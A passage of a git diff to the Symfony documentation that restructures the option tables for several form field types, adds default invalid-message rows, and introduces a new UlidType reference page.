-|             | - `attr`_                                                           |
-|             | - `data`_                                                           |
-|             | - `disabled`_                                                       |
-|             | - `empty_data`_                                                     |
-|             | - `error_bubbling`_                                                 |
-|             | - `error_mapping`_                                                  |
-|             | - `help`_                                                           |
-|             | - `help_attr`_                                                      |
-|             | - `help_html`_                                                      |
-|             | - `label`_                                                          |
-|             | - `label_attr`_                                                     |
-|             | - `label_format`_                                                   |
-|             | - `mapped`_                                                         |
-|             | - `required`_                                                       |
-|             | - `row_attr`_                                                       |
-+-------------+---------------------------------------------------------------------+
-| Parent type | :doc:`CheckboxType </reference/forms/types/checkbox>`               |
-+-------------+---------------------------------------------------------------------+
-| Class       | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\RadioType` |
-+-------------+---------------------------------------------------------------------+
++---------------------------+---------------------------------------------------------------------+
+| Rendered as               | ``input`` ``radio`` field                                           |
++---------------------------+---------------------------------------------------------------------+
+| Default invalid message   | Please select a valid option.                                       |
++---------------------------+---------------------------------------------------------------------+
+| Legacy invalid message    | The value {{ value }} is not valid.                                 |
++---------------------------+---------------------------------------------------------------------+
+| Parent type               | :doc:`CheckboxType </reference/forms/types/checkbox>`               |
++---------------------------+---------------------------------------------------------------------+
+| Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\RadioType` |
++---------------------------+---------------------------------------------------------------------+
 
 .. include:: /reference/forms/types/options/_debug_form.rst.inc
 
+Overridden Options
+------------------
+
+.. include:: /reference/forms/types/options/invalid_message.rst.inc
+
 Inherited Options
 -----------------
 
diff --git a/reference/forms/types/range.rst b/reference/forms/types/range.rst
index e328a1bbe97..3d8730ed249 100644
--- a/reference/forms/types/range.rst
+++ b/reference/forms/types/range.rst
@@ -7,29 +7,17 @@ RangeType Field
 The ``RangeType`` field is a slider that is rendered using the HTML5
 ``<input type="range"/>`` tag.
 
-+-------------+---------------------------------------------------------------------+
-| Rendered as | ``input`` ``range`` field (slider in HTML5 supported browser)       |
-+-------------+---------------------------------------------------------------------+
-| Inherited   | - `attr`_                                                           |
-| options     | - `data`_                                                           |
-|             | - `disabled`_                                                       |
-|             | - `empty_data`_                                                     |
-|             | - `error_bubbling`_                                                 |
-|             | - `error_mapping`_                                                  |
-|             | - `help`_                                                           |
-|             | - `help_attr`_                                                      |
-|             | - `help_html`_                                                      |
-|             | - `label`_                                                          |
-|             | - `label_attr`_                                                     |
-|             | - `mapped`_                                                         |
-|             | - `required`_                                                       |
-|             | - `row_attr`_                                                       |
-|             | - `trim`_                                                           |
-+-------------+---------------------------------------------------------------------+
-| Parent type | :doc:`TextType </reference/forms/types/text>`                       |
-+-------------+---------------------------------------------------------------------+
-| Class       | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\RangeType` |
-+-------------+---------------------------------------------------------------------+
++---------------------------+---------------------------------------------------------------------+
+| Rendered as               | ``input`` ``range`` field (slider in HTML5 supported browser)       |
++---------------------------+---------------------------------------------------------------------+
+| Default invalid message   | Please choose a valid range.                                        |
++---------------------------+---------------------------------------------------------------------+
+| Legacy invalid message    | The value {{ value }} is not valid.                                 |
++---------------------------+---------------------------------------------------------------------+
+| Parent type               | :doc:`TextType </reference/forms/types/text>`                       |
++---------------------------+---------------------------------------------------------------------+
+| Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\RangeType` |
++---------------------------+---------------------------------------------------------------------+
 
 .. include:: /reference/forms/types/options/_debug_form.rst.inc
 
@@ -45,9 +33,14 @@ Basic Usage
         'attr' => [
             'min' => 5,
             'max' => 50
-        ]
+        ],
     ]);
 
+Overridden Options
+------------------
+
+.. include:: /reference/forms/types/options/invalid_message.rst.inc
+
 Inherited Options
 -----------------
 
@@ -59,13 +52,11 @@ These options inherit from the :doc:`FormType </reference/forms/types/form>`:
 
 .. include:: /reference/forms/types/options/disabled.rst.inc
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :end-before: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_declaration.rst.inc
 
 The default value is ``''`` (the empty string).
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :start-after: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_description.rst.inc
 
 .. include:: /reference/forms/types/options/error_bubbling.rst.inc
 
diff --git a/reference/forms/types/repeated.rst b/reference/forms/types/repeated.rst
index c78e6cc318e..04796df2c6b 100644
--- a/reference/forms/types/repeated.rst
+++ b/reference/forms/types/repeated.rst
@@ -9,34 +9,17 @@ values must match (or a validation error is thrown). The most common use
 is when you need the user to repeat their password or email to verify
 accuracy.
 
-+-------------+------------------------------------------------------------------------+
-| Rendered as | input ``text`` field by default, but see `type`_ option                |
-+-------------+------------------------------------------------------------------------+
-| Options     | - `first_name`_                                                        |
-|             | - `first_options`_                                                     |
-|             | - `options`_                                                           |
-|             | - `second_name`_                                                       |
-|             | - `second_options`_                                                    |
-|             | - `type`_                                                              |
-+-------------+------------------------------------------------------------------------+
-| Overridden  | - `error_bubbling`_                                                    |
-| options     |                                                                        |
-+-------------+------------------------------------------------------------------------+
-| Inherited   | - `attr`_                                                              |
-| options     | - `data`_                                                              |
-|             | - `error_mapping`_                                                     |
-|             | - `help`_                                                              |
-|             | - `help_attr`_                                                         |
-|             | - `help_html`_                                                         |
-|             | - `invalid_message`_                                                   |
-|             | - `invalid_message_parameters`_                                        |
-|             | - `mapped`_                                                            |
-|             | - `row_attr`_                                                          |
-+-------------+------------------------------------------------------------------------+
-| Parent type | :doc:`FormType </reference/forms/types/form>`                          |
-+-------------+------------------------------------------------------------------------+
-| Class       | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\RepeatedType` |
-+-------------+------------------------------------------------------------------------+
++---------------------------+------------------------------------------------------------------------+
+| Rendered as               | input ``text`` field by default, but see `type`_ option                |
++---------------------------+------------------------------------------------------------------------+
+| Default invalid message   | The values do not match.                                               |
++---------------------------+------------------------------------------------------------------------+
+| Legacy invalid message    | The value {{ value }} is not valid.                                    |
++---------------------------+------------------------------------------------------------------------+
+| Parent type               | :doc:`FormType </reference/forms/types/form>`                          |
++---------------------------+------------------------------------------------------------------------+
+| Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\RepeatedType` |
++---------------------------+------------------------------------------------------------------------+
 
 .. include:: /reference/forms/types/options/_debug_form.rst.inc
 
@@ -184,6 +167,8 @@ Overridden Options
 
 **default**: ``false``
 
+.. include:: /reference/forms/types/options/invalid_message.rst.inc
+
 Inherited Options
 -----------------
 
@@ -201,8 +186,6 @@ These options inherit from the :doc:`FormType </reference/forms/types/form>`:
 
 .. include:: /reference/forms/types/options/help_html.rst.inc
 
-.. include:: /reference/forms/types/options/invalid_message.rst.inc
-
 .. include:: /reference/forms/types/options/invalid_message_parameters.rst.inc
 
 .. include:: /reference/forms/types/options/mapped.rst.inc
diff --git a/reference/forms/types/reset.rst b/reference/forms/types/reset.rst
index 914e4dfb428..6fd9b99d7fb 100644
--- a/reference/forms/types/reset.rst
+++ b/reference/forms/types/reset.rst
@@ -9,14 +9,6 @@ A button that resets all fields to their original values.
 +----------------------+---------------------------------------------------------------------+
 | Rendered as          | ``input`` ``reset`` tag                                             |
 +----------------------+---------------------------------------------------------------------+
-| Inherited            | - `attr`_                                                           |
-| options              | - `attr_translation_parameters`_                                    |
-|                      | - `disabled`_                                                       |
-|                      | - `label`_                                                          |
-|                      | - `label_translation_parameters`_                                   |
-|                      | - `row_attr`_                                                       |
-|                      | - `translation_domain`_                                             |
-+----------------------+---------------------------------------------------------------------+
 | Parent type          | :doc:`ButtonType </reference/forms/types/button>`                   |
 +----------------------+---------------------------------------------------------------------+
 | Class                | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\ResetType` |
diff --git a/reference/forms/types/search.rst b/reference/forms/types/search.rst
index e0f8233aa5b..048dd535ab5 100644
--- a/reference/forms/types/search.rst
+++ b/reference/forms/types/search.rst
@@ -9,32 +9,25 @@ special functionality supported by some browsers.
 
 Read about the input search field at `DiveIntoHTML5.info`_
 
-+-------------+----------------------------------------------------------------------+
-| Rendered as | ``input search`` field                                               |
-+-------------+----------------------------------------------------------------------+
-| Inherited   | - `attr`_                                                            |
-| options     | - `disabled`_                                                        |
-|             | - `empty_data`_                                                      |
-|             | - `error_bubbling`_                                                  |
-|             | - `error_mapping`_                                                   |
-|             | - `help`_                                                            |
-|             | - `help_attr`_                                                       |
-|             | - `help_html`_                                                       |
-|             | - `label`_                                                           |
-|             | - `label_attr`_                                                      |
-|             | - `label_format`_                                                    |
-|             | - `mapped`_                                                          |
-|             | - `required`_                                                        |
-|             | - `row_attr`_                                                        |
-|             | - `trim`_                                                            |
-+-------------+----------------------------------------------------------------------+
-| Parent type | :doc:`TextType </reference/forms/types/text>`                        |
-+-------------+----------------------------------------------------------------------+
-| Class       | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\SearchType` |
-+-------------+----------------------------------------------------------------------+
++---------------------------+----------------------------------------------------------------------+
+| Rendered as               | ``input search`` field                                               |
++---------------------------+----------------------------------------------------------------------+
+| Default invalid message   | Please enter a valid search term.                                    |
++---------------------------+----------------------------------------------------------------------+
+| Legacy invalid message    | The value {{ value }} is not valid.                                  |
++---------------------------+----------------------------------------------------------------------+
+| Parent type               | :doc:`TextType </reference/forms/types/text>`                        |
++---------------------------+----------------------------------------------------------------------+
+| Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\SearchType` |
++---------------------------+----------------------------------------------------------------------+
 
 .. include:: /reference/forms/types/options/_debug_form.rst.inc
 
+Overridden Options
+------------------
+
+.. include:: /reference/forms/types/options/invalid_message.rst.inc
+
 Inherited Options
 -----------------
 
@@ -44,13 +37,11 @@ These options inherit from the :doc:`FormType </reference/forms/types/form>`:
 
 .. include:: /reference/forms/types/options/disabled.rst.inc
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :end-before: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_declaration.rst.inc
 
 The default value is ``''`` (the empty string).
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :start-after: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_description.rst.inc
 
 .. include:: /reference/forms/types/options/error_bubbling.rst.inc
 
diff --git a/reference/forms/types/submit.rst b/reference/forms/types/submit.rst
index 0554aef8a8e..0ac866d82e9 100644
--- a/reference/forms/types/submit.rst
+++ b/reference/forms/types/submit.rst
@@ -9,18 +9,6 @@ A submit button.
 +----------------------+----------------------------------------------------------------------+
 | Rendered as          | ``button`` ``submit`` tag                                            |
 +----------------------+----------------------------------------------------------------------+
-| Options              | - `validate`_                                                        |
-+----------------------+----------------------------------------------------------------------+
-| Inherited            | - `attr`_                                                            |
-| options              | - `attr_translation_parameters`_                                     |
-|                      | - `disabled`_                                                        |
-|                      | - `label`_                                                           |
-|                      | - `label_format`_                                                    |
-|                      | - `label_translation_parameters`_                                    |
-|                      | - `row_attr`_                                                        |
-|                      | - `translation_domain`_                                              |
-|                      | - `validation_groups`_                                               |
-+----------------------+----------------------------------------------------------------------+
 | Parent type          | :doc:`ButtonType </reference/forms/types/button>`                    |
 +----------------------+----------------------------------------------------------------------+
 | Class                | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\SubmitType` |
diff --git a/reference/forms/types/tel.rst b/reference/forms/types/tel.rst
index f6c19391ada..8a99b6752c5 100644
--- a/reference/forms/types/tel.rst
+++ b/reference/forms/types/tel.rst
@@ -13,33 +13,25 @@ Nevertheless, it may be useful to use this type in web applications because some
 browsers (e.g. smartphone browsers) adapt the input keyboard to make it easier
 to input phone numbers.
 
-+-------------+---------------------------------------------------------------------+
-| Rendered as | ``input`` ``tel`` field (a text box)                                |
-+-------------+---------------------------------------------------------------------+
-| Inherited   | - `attr`_                                                           |
-| options     | - `data`_                                                           |
-|             | - `disabled`_                                                       |
-|             | - `empty_data`_                                                     |
-|             | - `error_bubbling`_                                                 |
-|             | - `error_mapping`_                                                  |
-|             | - `help`_                                                           |
-|             | - `help_attr`_                                                      |
-|             | - `help_html`_                                                      |
-|             | - `label`_                                                          |
-|             | - `label_attr`_                                                     |
-|             | - `label_format`_                                                   |
-|             | - `mapped`_                                                         |
-|             | - `required`_                                                       |
-|             | - `row_attr`_                                                       |
-|             | - `trim`_                                                           |
-+-------------+---------------------------------------------------------------------+
-| Parent type | :doc:`TextType </reference/forms/types/text>`                       |
-+-------------+---------------------------------------------------------------------+
-| Class       | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\TelType`   |
-+-------------+---------------------------------------------------------------------+
++---------------------------+-------------------------------------------------------------------+
+| Rendered as               | ``input`` ``tel`` field (a text box)                              |
++---------------------------+-------------------------------------------------------------------+
+| Default invalid message   | Please provide a valid phone number.                              |
++---------------------------+-------------------------------------------------------------------+
+| Legacy invalid message    | The value {{ value }} is not valid.                               |
++---------------------------+-------------------------------------------------------------------+
+| Parent type               | :doc:`TextType </reference/forms/types/text>`                     |
++---------------------------+-------------------------------------------------------------------+
+| Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\TelType` |
++---------------------------+-------------------------------------------------------------------+
 
 .. include:: /reference/forms/types/options/_debug_form.rst.inc
 
+Overridden Options
+------------------
+
+.. include:: /reference/forms/types/options/invalid_message.rst.inc
+
 Inherited Options
 -----------------
 
@@ -51,13 +43,11 @@ These options inherit from the :doc:`FormType </reference/forms/types/form>`:
 
 .. include:: /reference/forms/types/options/disabled.rst.inc
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :end-before: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_declaration.rst.inc
 
 The default value is ``''`` (the empty string).
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :start-after: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_description.rst.inc
 
 .. include:: /reference/forms/types/options/error_bubbling.rst.inc
 
diff --git a/reference/forms/types/text.rst b/reference/forms/types/text.rst
index a12af8e778f..204c496ce85 100644
--- a/reference/forms/types/text.rst
+++ b/reference/forms/types/text.rst
@@ -9,26 +9,6 @@ The TextType field represents the most basic input text field.
 +-------------+--------------------------------------------------------------------+
 | Rendered as | ``input`` ``text`` field                                           |
 +-------------+--------------------------------------------------------------------+
-| Inherited   | - `attr`_                                                          |
-| options     | - `data`_                                                          |
-|             | - `disabled`_                                                      |
-|             | - `empty_data`_                                                    |
-|             | - `error_bubbling`_                                                |
-|             | - `error_mapping`_                                                 |
-|             | - `help`_                                                          |
-|             | - `help_attr`_                                                     |
-|             | - `help_html`_                                                     |
-|             | - `label`_                                                         |
-|             | - `label_attr`_                                                    |
-|             | - `label_format`_                                                  |
-|             | - `mapped`_                                                        |
-|             | - `required`_                                                      |
-|             | - `row_attr`_                                                      |
-|             | - `trim`_                                                          |
-+-------------+--------------------------------------------------------------------+
-| Overridden  | - `compound`_                                                      |
-| options     |                                                                    |
-+-------------+--------------------------------------------------------------------+
 | Parent type | :doc:`FormType </reference/forms/types/form>`                      |
 +-------------+--------------------------------------------------------------------+
 | Class       | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\TextType` |
@@ -47,15 +27,13 @@ These options inherit from the :doc:`FormType </reference/forms/types/form>`:
 
 .. include:: /reference/forms/types/options/disabled.rst.inc
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :end-before: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_declaration.rst.inc
 
 From an HTTP perspective, submitted data is always a string or an array of strings.
 So by default, the form will treat any empty string as null. If you prefer to get
 an empty string, explicitly set the ``empty_data`` option to an empty string.
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :start-after: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_description.rst.inc
 
 .. include:: /reference/forms/types/options/error_bubbling.rst.inc
 
diff --git a/reference/forms/types/textarea.rst b/reference/forms/types/textarea.rst
index 8a28262aec6..3e0ac8e0db9 100644
--- a/reference/forms/types/textarea.rst
+++ b/reference/forms/types/textarea.rst
@@ -9,23 +9,6 @@ Renders a ``textarea`` HTML element.
 +-------------+------------------------------------------------------------------------+
 | Rendered as | ``textarea`` tag                                                       |
 +-------------+------------------------------------------------------------------------+
-| Inherited   | - `attr`_                                                              |
-| options     | - `data`_                                                              |
-|             | - `disabled`_                                                          |
-|             | - `empty_data`_                                                        |
-|             | - `error_bubbling`_                                                    |
-|             | - `error_mapping`_                                                     |
-|             | - `help`_                                                              |
-|             | - `help_attr`_                                                         |
-|             | - `help_html`_                                                         |
-|             | - `label`_                                                             |
-|             | - `label_attr`_                                                        |
-|             | - `label_format`_                                                      |
-|             | - `mapped`_                                                            |
-|             | - `required`_                                                          |
-|             | - `row_attr`_                                                          |
-|             | - `trim`_                                                              |
-+-------------+------------------------------------------------------------------------+
 | Parent type | :doc:`TextType </reference/forms/types/text>`                          |
 +-------------+------------------------------------------------------------------------+
 | Class       | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\TextareaType` |
@@ -50,13 +33,11 @@ These options inherit from the :doc:`FormType </reference/forms/types/form>`:
 
 .. include:: /reference/forms/types/options/disabled.rst.inc
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :end-before: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_declaration.rst.inc
 
 The default value is ``''`` (the empty string).
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :start-after: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_description.rst.inc
 
 .. include:: /reference/forms/types/options/error_bubbling.rst.inc
 
diff --git a/reference/forms/types/time.rst b/reference/forms/types/time.rst
index 042e3e7da0c..dc84d9a29bc 100644
--- a/reference/forms/types/time.rst
+++ b/reference/forms/types/time.rst
@@ -10,48 +10,19 @@ This can be rendered as a text field, a series of text fields (e.g. hour,
 minute, second) or a series of select fields. The underlying data can be
 stored as a ``DateTime`` object, a string, a timestamp or an array.
 
-+----------------------+-----------------------------------------------------------------------------+
-| Underlying Data Type | can be ``DateTime``, string, timestamp, or array (see the ``input`` option) |
-+----------------------+-----------------------------------------------------------------------------+
-| Rendered as          | can be various tags (see below)                                             |
-+----------------------+-----------------------------------------------------------------------------+
-| Options              | - `choice_translation_domain`_                                              |
-|                      | - `placeholder`_                                                            |
-|                      | - `hours`_                                                                  |
-|                      | - `html5`_                                                                  |
-|                      | - `input`_                                                                  |
-|                      | - `input_format`_                                                           |
-|                      | - `minutes`_                                                                |
-|                      | - `model_timezone`_                                                         |
-|                      | - `reference_date`_                                                         |
-|                      | - `seconds`_                                                                |
-|                      | - `view_timezone`_                                                          |
-|                      | - `widget`_                                                                 |
-|                      | - `with_minutes`_                                                           |
-|                      | - `with_seconds`_                                                           |
-+----------------------+-----------------------------------------------------------------------------+
-| Overridden options   | - `by_reference`_                                                           |
-|                      | - `compound`_                                                               |
-|                      | - `data_class`_                                                             |
-|                      | - `error_bubbling`_                                                         |
-+----------------------+-----------------------------------------------------------------------------+
-| Inherited            | - `attr`_                                                                   |
-| options              | - `data`_                                                                   |
-|                      | - `disabled`_                                                               |
-|                      | - `error_mapping`_                                                          |
-|                      | - `help`_                                                                   |
-|                      | - `help_attr`_                                                              |
-|                      | - `help_html`_                                                              |
-|                      | - `inherit_data`_                                                           |
-|                      | - `invalid_message`_                                                        |
-|                      | - `invalid_message_parameters`_                                             |
-|                      | - `mapped`_                                                                 |
-|                      | - `row_attr`_                                                               |
-+----------------------+-----------------------------------------------------------------------------+
-| Parent type          | FormType                                                                    |
-+----------------------+-----------------------------------------------------------------------------+
-| Class                | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\TimeType`          |
-+----------------------+-----------------------------------------------------------------------------+
++---------------------------+-----------------------------------------------------------------------------+
+| Underlying Data Type      | can be ``DateTime``, string, timestamp, or array (see the ``input`` option) |
++---------------------------+-----------------------------------------------------------------------------+
+| Rendered as               | can be various tags (see below)                                             |
++---------------------------+-----------------------------------------------------------------------------+
+| Default invalid message   | Please enter a valid time.                                                  |
++---------------------------+-----------------------------------------------------------------------------+
+| Legacy invalid message    | The value {{ value }} is not valid.                                         |
++---------------------------+-----------------------------------------------------------------------------+
+| Parent type               | FormType                                                                    |
++---------------------------+-----------------------------------------------------------------------------+
+| Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\TimeType`          |
++---------------------------+-----------------------------------------------------------------------------+
 
 .. include:: /reference/forms/types/options/_debug_form.rst.inc
 
@@ -111,7 +82,7 @@ values for the hour, minute and second fields::
     $builder->add('startTime', 'time', [
         'placeholder' => [
             'hour' => 'Hour', 'minute' => 'Minute', 'second' => 'Second',
-        ]
+        ],
     ]);
 
 .. include:: /reference/forms/types/options/hours.rst.inc
@@ -220,6 +191,8 @@ error_bubbling
 
 **default**: ``false``
 
+.. include:: /reference/forms/types/options/invalid_message.rst.inc
+
 Inherited Options
 -----------------
 
@@ -241,8 +214,6 @@ These options inherit from the :doc:`FormType </reference/forms/types/form>`:
 
 .. include:: /reference/forms/types/options/inherit_data.rst.inc
 
-.. include:: /reference/forms/types/options/invalid_message.rst.inc
-
 .. include:: /reference/forms/types/options/invalid_message_parameters.rst.inc
 
 .. include:: /reference/forms/types/options/mapped.rst.inc
diff --git a/reference/forms/types/timezone.rst b/reference/forms/types/timezone.rst
index c18cdbaf339..6dc0d793b3b 100644
--- a/reference/forms/types/timezone.rst
+++ b/reference/forms/types/timezone.rst
@@ -14,45 +14,17 @@ Unlike the ``ChoiceType``, you don't need to specify a ``choices`` option as the
 field type automatically uses a large list of timezones. You *can* specify the option
 manually, but then you should just use the ``ChoiceType`` directly.
 
-+-------------+------------------------------------------------------------------------+
-| Rendered as | can be various tags (see :ref:`forms-reference-choice-tags`)           |
-+-------------+------------------------------------------------------------------------+
-| Options     | - `input`_                                                             |
-|             | - `intl`_                                                              |
-+-------------+------------------------------------------------------------------------+
-| Overridden  | - `choices`_                                                           |
-| options     | - `choice_translation_domain`_                                         |
-+-------------+------------------------------------------------------------------------+
-| Inherited   | from the :doc:`ChoiceType </reference/forms/types/choice>`             |
-| options     |                                                                        |
-|             | - `expanded`_                                                          |
-|             | - `multiple`_                                                          |
-|             | - `placeholder`_                                                       |
-|             | - `preferred_choices`_                                                 |
-|             | - `trim`_                                                              |
-|             |                                                                        |
-|             | from the :doc:`FormType </reference/forms/types/form>`                 |
-|             |                                                                        |
-|             | - `attr`_                                                              |
-|             | - `data`_                                                              |
-|             | - `disabled`_                                                          |
-|             | - `empty_data`_                                                        |
-|             | - `error_bubbling`_                                                    |
-|             | - `error_mapping`_                                                     |
-|             | - `help`_                                                              |
-|             | - `help_attr`_                                                         |
-|             | - `help_html`_                                                         |
-|             | - `label`_                                                             |
-|             | - `label_attr`_                                                        |
-|             | - `label_format`_                                                      |
-|             | - `mapped`_                                                            |
-|             | - `required`_                                                          |
-|             | - `row_attr`_                                                          |
-+-------------+------------------------------------------------------------------------+
-| Parent type | :doc:`ChoiceType </reference/forms/types/choice>`                      |
-+-------------+------------------------------------------------------------------------+
-| Class       | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\TimezoneType` |
-+-------------+------------------------------------------------------------------------+
++---------------------------+------------------------------------------------------------------------+
+| Rendered as               | can be various tags (see :ref:`forms-reference-choice-tags`)           |
++---------------------------+------------------------------------------------------------------------+
+| Default invalid message   | Please select a valid timezone.                                        |
++---------------------------+------------------------------------------------------------------------+
+| Legacy invalid message    | The value {{ value }} is not valid.                                    |
++---------------------------+------------------------------------------------------------------------+
+| Parent type               | :doc:`ChoiceType </reference/forms/types/choice>`                      |
++---------------------------+------------------------------------------------------------------------+
+| Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\TimezoneType` |
++---------------------------+------------------------------------------------------------------------+
 
 .. include:: /reference/forms/types/options/_debug_form.rst.inc
 
@@ -107,6 +79,8 @@ The Timezone type defaults the choices to all timezones returned by
 
 .. include:: /reference/forms/types/options/choice_translation_domain_disabled.rst.inc
 
+.. include:: /reference/forms/types/options/invalid_message.rst.inc
+
 Inherited Options
 -----------------
 
@@ -130,8 +104,7 @@ These options inherit from the :doc:`FormType </reference/forms/types/form>`:
 
 .. include:: /reference/forms/types/options/disabled.rst.inc
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :end-before: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_declaration.rst.inc
 
 The actual default value of this option depends on other field options:
 
@@ -139,8 +112,7 @@ The actual default value of this option depends on other field options:
   (empty string);
 * Otherwise ``[]`` (empty array).
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :start-after: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_description.rst.inc
 
 .. include:: /reference/forms/types/options/error_bubbling.rst.inc
 
diff --git a/reference/forms/types/ulid.rst b/reference/forms/types/ulid.rst
new file mode 100644
index 00000000000..90d2f33589b
--- /dev/null
+++ b/reference/forms/types/ulid.rst
@@ -0,0 +1,74 @@
+.. index::
+   single: Forms; Fields; UuidType
+
+UlidType Field
+==============
+
+.. versionadded:: 5.3
+
+    The ``UlidType`` field was introduced in Symfony 5.3.
+
+Renders an input text field with the ULID string value and transforms it back to
+a proper :ref:`Ulid object <ulid>` when submitting the form.
+
++---------------------------+-----------------------------------------------------------------------+
+| Rendered as               | ``input`` ``text`` field                                              |
++---------------------------+-----------------------------------------------------------------------+
+| Default invalid message   | Please enter a valid ULID.                                            |
++---------------------------+-----------------------------------------------------------------------+
+| Legacy invalid message    | The value {{ value }} is not valid.                                   |
++---------------------------+-----------------------------------------------------------------------+
+| Parent type               | :doc:`FormType </reference/forms/types/form>`                         |
++---------------------------+-----------------------------------------------------------------------+
+| Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\UlidType`    |
++---------------------------+-----------------------------------------------------------------------+
+
+.. include:: /reference/forms/types/options/_debug_form.rst.inc
+
+Overridden Options
+------------------
+
+.. include:: /reference/forms/types/options/compound_type.rst.inc
+
+.. include:: /reference/forms/types/options/invalid_message.rst.inc
+
+Inherited Options
+-----------------
+
+These options inherit from the :doc:`FormType </reference/forms/types/form>`:
+
+.. include:: /reference/forms/types/options/attr.rst.inc
+
+.. include:: /reference/forms/types/options/data.rst.inc
+
+.. include:: /reference/forms/types/options/disabled.rst.inc
+
+.. include:: /reference/forms/types/options/empty_data_declaration.rst.inc
+
+The default value is ``''`` (the empty string).
+
+.. include:: /reference/forms/types/options/empty_data_description.rst.inc
+
+.. include:: /reference/forms/types/options/error_bubbling.rst.inc
+
+.. include:: /reference/forms/types/options/error_mapping.rst.inc
+
+.. include:: /reference/forms/types/options/help.rst.inc
+
+.. include:: /reference/forms/types/options/help_attr.rst.inc
+
+.. include:: /reference/forms/types/options/help_html.rst.inc
+
+.. include:: /reference/forms/types/options/invalid_message_parameters.rst.inc
+
+.. include:: /reference/forms/types/options/label.rst.inc
+
+.. include:: /reference/forms/types/options/label_attr.rst.inc
+
+.. include:: /reference/forms/types/options/label_format.rst.inc
+
+.. include:: /reference/forms/types/options/mapped.rst.inc
+
+.. include:: /reference/forms/types/options/required.rst.inc
+
+.. include:: /reference/forms/types/options/row_attr.rst.inc
diff --git a/reference/forms/types/url.rst b/reference/forms/types/url.rst
index a03f1532021..6a5d368c41c 100644
--- a/reference/forms/types/url.rst
+++ b/reference/forms/types/url.rst
@@ -8,32 +8,17 @@ The ``UrlType`` field is a text field that prepends the submitted value with
 a given protocol (e.g. ``http://``) if the submitted value doesn't already
 have a protocol.
 
-+-------------+-------------------------------------------------------------------+
-| Rendered as | ``input url`` field                                               |
-+-------------+-------------------------------------------------------------------+
-| Options     | - `default_protocol`_                                             |
-+-------------+-------------------------------------------------------------------+
-| Inherited   | - `attr`_                                                         |
-| options     | - `data`_                                                         |
-|             | - `disabled`_                                                     |
-|             | - `empty_data`_                                                   |
-|             | - `error_bubbling`_                                               |
-|             | - `error_mapping`_                                                |
-|             | - `help`_                                                         |
-|             | - `help_attr`_                                                    |
-|             | - `help_html`_                                                    |
-|             | - `label`_                                                        |
-|             | - `label_attr`_                                                   |
-|             | - `label_format`_                                                 |
-|             | - `mapped`_                                                       |
-|             | - `required`_                                                     |
-|             | - `row_attr`_                                                     |
-|             | - `trim`_                                                         |
-+-------------+-------------------------------------------------------------------+
-| Parent type | :doc:`TextType </reference/forms/types/text>`                     |
-+-------------+-------------------------------------------------------------------+
-| Class       | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\UrlType` |
-+-------------+-------------------------------------------------------------------+
++---------------------------+-------------------------------------------------------------------+
+| Rendered as               | ``input url`` field                                               |
++---------------------------+-------------------------------------------------------------------+
+| Default invalid message   | Please enter a valid URL.                                         |
++---------------------------+-------------------------------------------------------------------+
+| Legacy invalid message    | The value {{ value }} is not valid.                               |
++---------------------------+-------------------------------------------------------------------+
+| Parent type               | :doc:`TextType </reference/forms/types/text>`                     |
++---------------------------+-------------------------------------------------------------------+
+| Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\UrlType` |
++---------------------------+-------------------------------------------------------------------+
 
 .. include:: /reference/forms/types/options/_debug_form.rst.inc
 
@@ -49,6 +34,11 @@ If a value is submitted that doesn't begin with some protocol (e.g. ``http://``,
 ``ftp://``, etc), this protocol will be prepended to the string when
 the data is submitted to the form.
 
+Overridden Options
+------------------
+
+.. include:: /reference/forms/types/options/invalid_message.rst.inc
+
 Inherited Options
 -----------------
 
@@ -60,13 +50,11 @@ These options inherit from the :doc:`FormType </reference/forms/types/form>`:
 
 .. include:: /reference/forms/types/options/disabled.rst.inc
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
